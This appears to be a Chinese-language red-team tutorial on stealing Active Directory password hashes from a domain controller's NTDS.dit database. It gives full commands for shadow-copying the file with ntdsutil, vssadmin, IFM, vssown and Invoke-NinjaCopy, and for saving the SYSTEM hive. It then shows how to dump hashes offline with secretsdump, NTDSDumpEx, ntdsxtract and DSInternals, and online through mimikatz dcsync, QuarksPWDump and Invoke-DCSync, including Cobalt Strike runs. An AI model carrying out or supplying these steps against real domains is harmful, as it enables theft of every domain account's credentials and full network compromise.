NTDS基础
NTDS.DIT:为DC的数据库,内容有域用户、域组、用户hash等信息,域控上的ntds.dit只有可以登录到域控上的用户(如域管用户、DC本地管理员用户)可以访问,为了进一步保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。
位置:C:\Windows\NTDS
该文件和SAM文件类似,是不能直接读取的,也不能复制
因此如果要读取该文件的内容有一下几种方式:
- 离线读取,将NTDS文件复制到攻击者的本地,然后使用工具读取
- 在线读取,通过给域控的电脑上传读取的工具,进行在线读取
- 远程读取,不需要上线域控,可以通过dcsync远程读取
卷影拷贝技术
方式一:通过ntdsutil工具进行拷贝
- 本地测试
ntdsutil.exe是一个为活动目录提供管理机制的命令行公具,该工具默认安装在域控服务器上,可以在域控制器上直接操作
1.创建一个NTDS快照
命令:ntdsutil.exe snapshot "activate instance ntds" create q q
2.加载快照到磁盘中(mount:挂载)
命令:ntdsutil.exe snapshot "mount {f1ed5cfd-c28c-4cf5-8fb8-a5d473b8e880}" q q
3.复制快照中的ntds.dit文件
命令:copy '快照地址\Windows\NTDS\ntds.dit' 目标地址
copy C:\$SNAP_202309231542_VOLUMEC$\Windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds.dit
4.删除快照
命令:ntdsutil.exe snapshot "umount {f1ed5cfd-c28c-4cf5-8fb8-a5d473b8e880}" "delete {f1ed5cfd-c28c-4cf5-8fb8-a5d473b8e880}" q q
- cs测试
1.创建一个NTDS快照,我这里是Administrator权限,并没有报错(如果这里使用Administrator创建快照报错的话,可以使用令牌将权限切换到system)
命令:ntdsutil.exe snapshot "activate instance ntds" create q q
2.加载快照到磁盘中(mount:挂载)
命令:ntdsutil.exe snapshot "mount {01ff8c71-7f7f-4287-a760-9551b7db6690}" q q
3.复制快照中的ntds.dit文件
命令:copy C:\$SNAP_202309231619_VOLUMEC$\Windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds.dit
4.删除快照
命令:ntdsutil.exe snapshot "umount {01ff8c71-7f7f-4287-a760-9551b7db6690}" "delete {01ff8c71-7f7f-4287-a760-9551b7db6690}" q q
方式二:通过vssadmin工具进行拷贝
- 本地测试
1.创建一个C盘快照
命令:vssadmin create shadow /for=c:
2.将快照中的NTDS文件复制出来
命令:copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds.dit
3.删除快照
命令:vssadmin delete shadows /for=c: /quiet
- cs测试
CS测试和上面步骤差不多
方式三:IFM方式进行拷贝
- 本地测试
可以通过创建一个IFM的方式获取ntds.dit,在使用ntdsutil创建媒体安装集(IFM)时,需要进行生成快照、加载、将ntds.dit和计算机的SAM文件复制到目标文件夹中等操作
1.创建一个C盘下的快照,首先需要去C盘下创建一个test
命令:ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
此时ntds.dit将被保存在C:\test\Active Directory下,SYSTEM和SECURITY两个文件将被保存在C:\test\registry文件夹下
2.将快照中的NTDS文件复制出来
命令:copy "C:\test\Active Directory\ntds.dit" C:\Users\Administrator\Desktop\ntds.dit
- CS测试
CS测试与上述步骤差不多
方式四:vssown提取ntds.dit
- 本地测试
vssown是一个vbs脚本,可以创建和删除卷影副本,使用方式如下:
1.启动卷影复制服务
命令:cscript vssown.vbs /start
2.创建一个C盘下的卷影副本
命令:cscript vssown.vbs /create c
3.列出当前卷影副本
命令:cscript vssown.vbs /list
4.复制文件到指定目录
命令:copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\Windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds.dit
- CS测试
CS测试与上述步骤差不多
其他方式
除了使用卷影拷贝技术外,还有其他方式可以提取NTDS文件
方式一:PS脚本可以直接导出 Copy-VSS.ps1
命令:Import-Module .\Copy-VSS.ps1
Copy-VSS
方式二:Invoke-NinjaCopy
Invoke-NinjaCopy也是PS脚本可以直接导出NTDS和system文件
命令:Import-Module -name .\Invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination "C:\Users\Administrator\Desktop\ntds.dit"
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "C:system.hiv"
离线读取NTDS文件中的Hash值
一般步骤:
- 将远端域控的ntds.dit下载到本地
- 然后利用工具在本地进行
注意:因为system.hive里存放着ntds.dit的秘钥,所以需要转储system.hive,不然没办法查看ntds.dit里面的内容
命令:reg save hklm\system C:\Users\Administrator\Desktop\system.hive
方式一:secretsdump工具
secretsdump.exe -system system.hive -ntds ntds.dit LOCAL
方式二:NTDSDumpEx工具
命令:NTDSDumpEx.exe -d ntds.dit -s system.hive -o 1.txt
方式三:esedbexport工具
esedbexport是linux下的工具,先要在自己的linux机器上安装建议在python2环境下运行
下载工具包:
./configure
make
make install
ldconfig
提取ntds文件内容
esedbexport -m tables ntds.dit
安装ntdsxtract工具
python setup.py build
python setup.py install
如果提示Import Error:NO module named Crypto.Hash,则需要先执行pip install pycryptodome
将ntds.dit. Export和SYSTEM文件放入到esedbexport工具的文件夹中,然后导出哈希值,最后的结果将保存在txt里
python dsusers.py datatable.4 link_table.7 output --syshive system.hive --passwordhashes --pwdformat ocl--ntoutfile ntout --lmoutfile Imout|tee 1.txt读取用户信息
python dscomputers.py datatable.4 computer_output --csvoutfile 2.csv读取机器信息
方式四:DS Internals工具
DS Internals工具是PS脚本,使用命令如下:
Install-Module DSInternals -Force
Import-Module .\DSInternals
导出hash,并保存在txt文件里
$key=Get-Bootkey -SystemHivePath 'system.hiv'
Get-ADDBAccount -All -DBPath 'ntds.dit' -Bootkey $key | Out-File 1.txt
在线读取NTDS文件Hash值
但是需要考虑:杀软工具、如果域太大读取时间太久容易死机
方式一:MImikatz工具
命令:lsadump::dcsync /domain:abc.com /all /cvs(读取所有)
lsadump::dcsync /domain:abc.com /user:administrator(读取单个用户)
方式二:QuarksPWDump工具
命令:QuarksPWDump.exe --dump-hash-domain --ntds-file ntds.dit
Ntds这个文件需要先导出来
方式三:secretsdump工具
命令:secretsdump.exe 域名/administrator:密码@IP
方式四:Invoke-DCSync.ps1工具
命令:Import-Module .\Invoke-DCSync.ps1
Invoke-DCSync